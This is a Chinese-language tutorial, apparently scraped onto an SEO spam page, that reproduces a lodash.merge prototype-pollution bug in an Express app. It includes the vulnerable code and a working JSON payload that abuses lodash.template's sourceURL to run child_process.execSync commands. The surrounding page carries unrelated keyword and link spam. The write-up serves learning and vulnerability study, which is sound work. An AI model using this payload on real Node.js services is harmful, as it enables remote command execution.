当前位置: 首页 > news >正文

深圳西乡网站建设公司网络广告人社区官网

深圳西乡网站建设公司,网络广告人社区官网,商业网站建设政策支持,做视频教学网站服务器配置目录 准备工作 环境搭建 加载项目 复现 代码审计 payload 总结 准备工作 环境搭建 Nodejs BurpSuite 加载项目 项目链接 ① 下载好了cmd切进去 ② 安装这个项目 可以检查一下 ③运行并监听 可以看到已经在3000端口启动了 复现 代码审计 const fs require(fs) cons…

目录

准备工作

环境搭建

加载项目

复现 

代码审计

payload

 总结


准备工作

环境搭建

        Nodejs

        BurpSuite

加载项目

         项目链接

① 下载好了cmd切进去

 

② 安装这个项目

 

可以检查一下

③运行并监听

 

        可以看到已经在3000端口启动了 

复现 

代码审计

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
//以上都是引入各种模块const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({name: 'thejs.session',secret: randomize('aA0', 16),resave: false,saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template enginefs.readFile(filePath, (err, content) => {if (err) return callback(new Error(err))let compiled = lodash.template(content)let rendered = compiled({...options})return callback(null, rendered)})
})
app.set('views', './views')
app.set('view engine', 'ejs')app.all('/', (req, res) => {let data = req.session.data || {language: [], category: []}if (req.method == 'POST') {data = lodash.merge(data, req.body)req.session.data = data}res.render('index', {language: data.language, category: data.category})
})app.listen(3000, () => console.log(`Example app listening on port 3000!`))

  看到了这一句,所以要先了解lodash模块是干什么的

data = lodash.merge(data, req.body)

lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:

  1. lodash.template 一个简单的模板引擎

  2. lodash.merge 函数或对象的合并  

 逻辑就是用户提交数据,通过lodash.merge将数据一直追加到session中

meige显然是可以利用的,然后我们要找一个可以利用的属性了

        ?为什么要利用sourceURL这个变量,因为需要注入的变量需要在程序后段被调用,也就是需要找到一个未定义且后面被调用的变量进行注入 

        重点关注一下,template的第二个参数是options,然后sourceURL这个属性默认为空,如果options中传sourceURL就会将值赋过去。这样sourceURL就是我们可以控制的了,

         这里会把sourceURL拼接进了这个函数,那我们就可以构造child_process.exec()了

        但是对代码的上下文都没有require,所以在执行的时候换成👇

global.process.mainModule.constructor._load('child_process').execSync('whoami')

        whoami就是任意命令执行的地方

payload

{"__proto__" :{"sourceURL" :
"\u000areturn ()=>{for (var a in {}) {delete Object.prototype.a;} return global.process.mainModule.constructor._load('child_process').execSync('whoami')}//"}
}{"__proto__" : {"sourceURL" : ""}}为主体
\u000a是url编码的换行,目的让return在开头return ()=>{for (var a in {}) {delete Object.prototype.a;}
👆这句的作用自己复现的时候意义不大,目的是清空Object原型对象的属性防止被别的ctf选手抓包看到我们的payloadreturn global.process.mainModule.constructor._load('child_process').execSync('whoami')}//
这句才是关键,用了这个取代require('child_process').exec最后//注释掉原本的return以及后边的内容

注:{"__proto__" : ""}这里的__proto__在正常传递的时候可不会被当作属性,只有以json格式传递,这里不好用json.parse函数,那就直接在请求头里改Content-type就好

 calc计算器执行成功

 

 总结

        感觉原型链污染相对来说难一点点,主要难点在代码审计上

http://www.yidumall.com/news/17118.html

相关文章:

  • 服务器可以做几个网站石家庄今日头条新闻
  • 邹平 建设项目 网站公示有趣的网络营销案例
  • 个人网站建设培训今天高清视频免费播放
  • wordpress清除主题信息seo专员很难吗
  • 做网站会员金字塔系统启动互联全网营销推广
  • 炫酷个人网站我是seo关键词
  • 海淀企业型网站建设成都网站改版优化
  • 网站一直不被百度收录万网域名注册教程
  • 一个网站两个页面足球直播在线直播观看免费cctv5
  • 做360手机网站优化排太原网站排名推广
  • 挂号网站制作网站制作公司官网
  • 哪个网站做的最好平台营销策略都有哪些
  • 建立网站的基本步骤产品推广方案范文
  • 国内免费注册域名百度seo优化培训
  • 外贸网站源码php网络营销的策略有哪些
  • php做网站如何配置域名的百度seo培训课程
  • 进口跨境电商网站制作拉人注册给佣金的app
  • 如果做好招聘网站建设抖音搜索排名
  • 喀什做网站百度推广费用多少
  • 怎么用个人电脑做网站简述搜索引擎优化的方法
  • 做网站需要招什么条件头条站长平台
  • 一图读懂制作网站百度权重批量查询
  • 樟木头镇做网站北京排名seo
  • cn结尾的网站 做外贸网站如何做seo排名
  • 公司设计网站应遵守哪些常理2023年8月份新冠
  • 创建免费网站的步骤本地免费发布信息网站
  • 网站代理怎么做semi认证
  • 嘉兴网站制作星讯网络科技热点新闻事件及评论
  • 做外贸推广的网站黄页网站推广公司
  • 怎么做彩票平台网站汕头seo排名